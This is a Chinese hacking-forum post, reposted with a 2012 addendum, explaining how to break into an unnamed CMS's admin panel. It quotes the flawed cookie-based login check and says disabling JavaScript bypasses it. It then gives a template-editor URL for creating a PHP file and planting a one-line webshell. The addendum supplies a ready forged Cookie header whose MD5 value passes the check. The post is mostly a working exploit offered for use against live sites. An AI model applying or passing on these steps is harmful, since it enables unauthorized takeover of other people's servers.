漏洞文件 admin 目录下的 admin_loginstate.php

看代码

if(empty($_COOKIE['S_AdminID'])){
  echo "<script>window.location='admin_login.php'</script>";
  exit;
  }
elseif($_COOKIE['S_Login']!=md5($_COOKIE['S_AdminID'].$_COOKIE['S_AdminUserName'].$_COOKIE['S_AdminPassWord'].$_COOKIE['S_Permission'])){
  echo "<script>window.parent.location='admin_login.php'</script>";
  exit;
  } 
?>

很简单的看出来是 cookie验证 我们直接禁止JS可直接进后台

进后台后简单的说下拿shell的方法

/admin/admin_template.php?action=templist&path=../skins/index/html/&tempname=默认模版&file=qingshen.php

直接访问这个url 然后写个一句话就可以了 目录当然是在 /skins/index/html/ 目录下的

话说小弟刚来 管理不给加点银子么

转自:http://www.90sec.org/thread-1653-1-1.html


2012-3-8 19:46:06 补充:

文章原作者写的利用方法是错误的,比较蛋疼的利用方法,晕倒……

这个CMS的后台验证方法真的是超狗血!我从来没见过这样的!!全部都是从 Cookie 取值,然后又自作聪明似的MD5了一次,完全可以本地构造,真无语……

利用方法:

只需要让:

Cookie("S_Login") = md5(Cookie("S_AdminID") + Cookie("S_AdminUserName") + Cookie("S_AdminPassWord") + Cookie("S_Permission"))

Exp:

Cookie: S_Login=d16c1a2a08f230f12fe0e9240a866140; S_AdminID=son; S_AdminUserName=of; S_AdminPassWord=the; S_Permission=bitch

原理:md5(sonofthebitch) = d16c1a2a08f230f12fe0e9240a866140